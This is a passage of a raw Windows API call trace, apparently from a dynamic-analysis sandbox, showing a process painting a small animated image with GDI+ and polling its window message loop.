hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0146.582] CreateCompatibleDC (hdc=0x3010b83) returned 0x40010b91 [0146.583] SelectObject (hdc=0x40010b91, h=0x1a05067e) returned 0x185000f [0146.583] GdipCreateFromHDC (hdc=0x40010b91, graphics=0x15daf0) returned 0x0 [0146.583] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0146.583] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0146.583] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0146.583] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0146.583] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0146.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0146.583] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0146.584] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0146.584] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.584] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0146.584] GdipCreateRegion (region=0x15dc20) returned 0x0 [0146.584] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0146.585] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0146.585] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0146.585] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0146.585] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0146.585] GetSystemMetrics (nIndex=42) returned 0 [0146.585] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0146.585] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0146.585] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0146.585] CoTaskMemFree (pv=0x1e91eca0) [0146.585] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0146.585] GdipCreateRegion (region=0x15d710) returned 0x0 [0146.585] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0146.586] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0146.586] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0146.586] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0146.586] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0146.586] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0146.586] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0146.587] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0146.587] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0146.587] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0146.587] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0146.587] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.587] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0146.587] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0146.588] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0146.588] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0146.588] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.588] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0146.588] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0146.588] GetCurrentObject (hdc=0x40010b91, type=0x1) returned 0x1b00017 [0146.588] GetCurrentObject (hdc=0x40010b91, type=0x2) returned 0x1900010 [0146.588] GetCurrentObject (hdc=0x40010b91, type=0x7) returned 0x1a05067e [0146.588] GetCurrentObject (hdc=0x40010b91, type=0x6) returned 0x18a002e [0146.588] SaveDC (hdc=0x40010b91) returned 1 [0146.588] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffb1040b8a [0146.588] GetClipRgn (hdc=0x40010b91, hrgn=0xffffffffb1040b8a) returned 0 [0146.589] SelectClipRgn (hdc=0x40010b91, hrgn=0xffffffffe10407c3) returned 2 [0146.589] DeleteObject (ho=0xffffffffb1040b8a) returned 1 [0146.589] DeleteObject (ho=0xffffffffe10407c3) returned 1 [0146.589] OffsetViewportOrgEx (in: hdc=0x40010b91, x=0, y=0, lppt=0x26e79a0 | out: lppt=0x26e79a0) returned 1 [0146.589] GetNearestColor (hdc=0x40010b91, color=0xffffff) returned 0xffffff [0146.589] CreateSolidBrush (color=0xffffff) returned 0xffffffffb9100190 [0146.589] FillRect (hDC=0x40010b91, lprc=0x15d7c0, hbr=0xffffffffb9100190) returned 1 [0146.589] DeleteObject (ho=0xffffffffb9100190) returned 1 [0146.589] RestoreDC (hdc=0x40010b91, nSavedDC=-1) returned 1 [0146.589] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.589] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x40010b91) returned 0x0 [0146.589] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc740dbd) returned 0x0 [0146.589] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.590] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0146.590] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0146.590] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0146.590] GetSystemMetrics (nIndex=42) returned 0 [0146.590] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0146.590] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0146.590] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0146.590] CoTaskMemFree (pv=0x1e91eca0) [0146.590] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xa) returned 0x0 [0146.592] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0146.592] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0146.592] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0146.592] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0146.593] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x40010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0146.593] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.593] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x40010b91) returned 0x0 [0146.593] SelectObject (hdc=0x40010b91, h=0x185000f) returned 0x1a05067e [0146.593] DeleteDC (hdc=0x40010b91) returned 1 [0146.593] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.593] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0146.593] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0146.593] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0146.593] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0146.594] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0146.594] WaitMessage () returned 1 [0146.972] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0146.972] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1750335) returned 0x1 [0146.973] IsWindowUnicode (hWnd=0x20312) returned 1 [0146.973] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0146.973] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1750335) returned 0x1 [0146.973] SetCursor (hCursor=0x10003) returned 0x10003 [0146.973] TranslateMessage (lpMsg=0x15e910) returned 0 [0146.973] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0146.973] _TrackMouseEvent (in: lpEventTrack=0x26b3f30 | out: lpEventTrack=0x26b3f30) returned 1 [0146.973] SendMessageW (hWnd=0x20312, Msg=0xc1cd, wParam=0x0, lParam=0x0) returned 0x0 [0146.973] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0xc1cd, wParam=0x0, lParam=0x0) returned 0x0 [0146.973] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c00de) returned 0x0 [0146.973] GetKeyState (nVirtKey=1) returned 0 [0146.973] GetKeyState (nVirtKey=2) returned 0 [0146.973] GetKeyState (nVirtKey=4) returned 0 [0146.973] GetKeyState (nVirtKey=5) returned 0 [0146.973] GetKeyState (nVirtKey=6) returned 0 [0146.974] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0146.974] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0146.974] WaitMessage () returned 1 [0146.974] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0146.974] IsWindowUnicode (hWnd=0x2031e) returned 1 [0146.974] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0146.975] TranslateMessage (lpMsg=0x15e910) returned 0 [0146.975] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0146.975] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0146.975] GetCurrentThreadId () returned 0xec0 [0146.975] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0146.975] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0146.975] IsWindowUnicode (hWnd=0x2031e) returned 1 [0146.975] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0146.976] TranslateMessage (lpMsg=0x15e910) returned 0 [0146.976] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0146.976] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0146.976] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0146.976] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff85010781 [0146.976] SelectObject (hdc=0xffffffff85010781, h=0x1a05067e) returned 0x185000f [0146.977] GdipCreateFromHDC (hdc=0xffffffff85010781, graphics=0x15daf0) returned 0x0 [0146.977] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0146.977] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0146.977] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0146.977] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0146.977] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0146.978] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0146.978] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0146.978] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0146.979] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.979] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0146.979] GdipCreateRegion (region=0x15dc20) returned 0x0 [0146.979] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0146.979] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0146.979] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0146.979] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0146.979] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0146.979] GetSystemMetrics (nIndex=42) returned 0 [0146.980] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0146.980] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0146.980] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0146.980] CoTaskMemFree (pv=0x1e91eca0) [0146.980] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0146.980] GdipCreateRegion (region=0x15d710) returned 0x0 [0146.980] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0146.980] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0146.980] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0146.981] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0146.981] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0146.981] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0146.981] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0146.981] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0146.981] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0146.982] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0146.982] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0146.982] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.982] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0146.982] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0146.982] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0146.982] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0146.983] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.983] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0146.983] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0146.983] GetCurrentObject (hdc=0xffffffff85010781, type=0x1) returned 0x1b00017 [0146.983] GetCurrentObject (hdc=0xffffffff85010781, type=0x2) returned 0x1900010 [0146.983] GetCurrentObject (hdc=0xffffffff85010781, type=0x7) returned 0x1a05067e [0146.983] GetCurrentObject (hdc=0xffffffff85010781, type=0x6) returned 0x18a002e [0146.983] SaveDC (hdc=0xffffffff85010781) returned 1 [0146.984] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffe20407c3 [0146.984] GetClipRgn (hdc=0xffffffff85010781, hrgn=0xffffffffe20407c3) returned 0 [0146.984] SelectClipRgn (hdc=0xffffffff85010781, hrgn=0xffffffffb2040b8a) returned 2 [0146.984] DeleteObject (ho=0xffffffffe20407c3) returned 1 [0146.984] DeleteObject (ho=0xffffffffb2040b8a) returned 1 [0146.984] OffsetViewportOrgEx (in: hdc=0xffffffff85010781, x=0, y=0, lppt=0x26e8d28 | out: lppt=0x26e8d28) returned 1 [0146.984] GetNearestColor (hdc=0xffffffff85010781, color=0xffffff) returned 0xffffff [0146.984] CreateSolidBrush (color=0xffffff) returned 0xffffffffba100190 [0146.984] FillRect (hDC=0xffffffff85010781, lprc=0x15d7c0, hbr=0xffffffffba100190) returned 1 [0146.985] DeleteObject (ho=0xffffffffba100190) returned 1 [0146.985] RestoreDC (hdc=0xffffffff85010781, nSavedDC=-1) returned 1 [0146.985] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.985] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff85010781) returned 0x0 [0146.985] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc720dbd) returned 0x0 [0146.985] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.985] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0146.985] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0146.985] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0146.986] GetSystemMetrics (nIndex=42) returned 0 [0146.986] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0146.986] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0146.986] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0146.986] CoTaskMemFree (pv=0x1e91eca0) [0146.986] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0146.986] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0146.986] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0146.986] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0146.987] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff85010781, x1=0, y1=0, rop=0xcc0020) returned 1 [0146.987] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.987] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff85010781) returned 0x0 [0146.987] SelectObject (hdc=0xffffffff85010781, h=0x185000f) returned 0x1a05067e [0146.987] DeleteDC (hdc=0xffffffff85010781) returned 1 [0146.988] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.988] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0146.989] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0146.989] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0146.989] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0146.989] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x175032b) returned 0x1 [0146.989] IsWindowUnicode (hWnd=0x20312) returned 1 [0146.989] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0146.989] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x175032b) returned 0x1 [0146.989] SetCursor (hCursor=0x10003) returned 0x10003 [0146.990] TranslateMessage (lpMsg=0x15e910) returned 0 [0146.990] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0146.990] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c00d4) returned 0x0 [0146.990] GetKeyState (nVirtKey=1) returned 0 [0146.990] GetKeyState (nVirtKey=2) returned 0 [0146.990] GetKeyState (nVirtKey=4) returned 0 [0146.990] GetKeyState (nVirtKey=5) returned 0 [0146.990] GetKeyState (nVirtKey=6) returned 0 [0146.990] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0146.990] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0146.990] WaitMessage () returned 1 [0147.002] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.003] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1750321) returned 0x1 [0147.003] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.003] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.003] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1750321) returned 0x1 [0147.003] SetCursor (hCursor=0x10003) returned 0x10003 [0147.003] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.003] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.003] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c00ca) returned 0x0 [0147.003] GetKeyState (nVirtKey=1) returned 0 [0147.003] GetKeyState (nVirtKey=2) returned 0 [0147.003] GetKeyState (nVirtKey=4) returned 0 [0147.004] GetKeyState (nVirtKey=5) returned 0 [0147.004] GetKeyState (nVirtKey=6) returned 0 [0147.004] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.004] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.004] WaitMessage () returned 1 [0147.014] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.014] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1750317) returned 0x1 [0147.014] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.014] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.014] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1750317) returned 0x1 [0147.014] SetCursor (hCursor=0x10003) returned 0x10003 [0147.015] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.015] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.015] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c00c0) returned 0x0 [0147.015] GetKeyState (nVirtKey=1) returned 0 [0147.015] GetKeyState (nVirtKey=2) returned 0 [0147.015] GetKeyState (nVirtKey=4) returned 0 [0147.015] GetKeyState (nVirtKey=5) returned 0 [0147.015] GetKeyState (nVirtKey=6) returned 0 [0147.015] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.015] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.015] WaitMessage () returned 1 [0147.035] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.035] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x175030d) returned 0x1 [0147.035] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.035] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.035] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x175030d) returned 0x1 [0147.035] SetCursor (hCursor=0x10003) returned 0x10003 [0147.035] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.036] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.036] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c00b6) returned 0x0 [0147.036] GetKeyState (nVirtKey=1) returned 0 [0147.036] GetKeyState (nVirtKey=2) returned 0 [0147.036] GetKeyState (nVirtKey=4) returned 0 [0147.036] GetKeyState (nVirtKey=5) returned 0 [0147.036] GetKeyState (nVirtKey=6) returned 0 [0147.036] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.036] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.036] WaitMessage () returned 1 [0147.048] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.048] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1750303) returned 0x1 [0147.048] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.048] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.048] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1750303) returned 0x1 [0147.048] SetCursor (hCursor=0x10003) returned 0x10003 [0147.048] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.048] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.048] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c00ac) returned 0x0 [0147.048] GetKeyState (nVirtKey=1) returned 0 [0147.049] GetKeyState (nVirtKey=2) returned 0 [0147.049] GetKeyState (nVirtKey=4) returned 0 [0147.049] GetKeyState (nVirtKey=5) returned 0 [0147.049] GetKeyState (nVirtKey=6) returned 0 [0147.049] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.049] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.049] WaitMessage () returned 1 [0147.072] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.072] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x17502f9) returned 0x1 [0147.072] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.072] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: 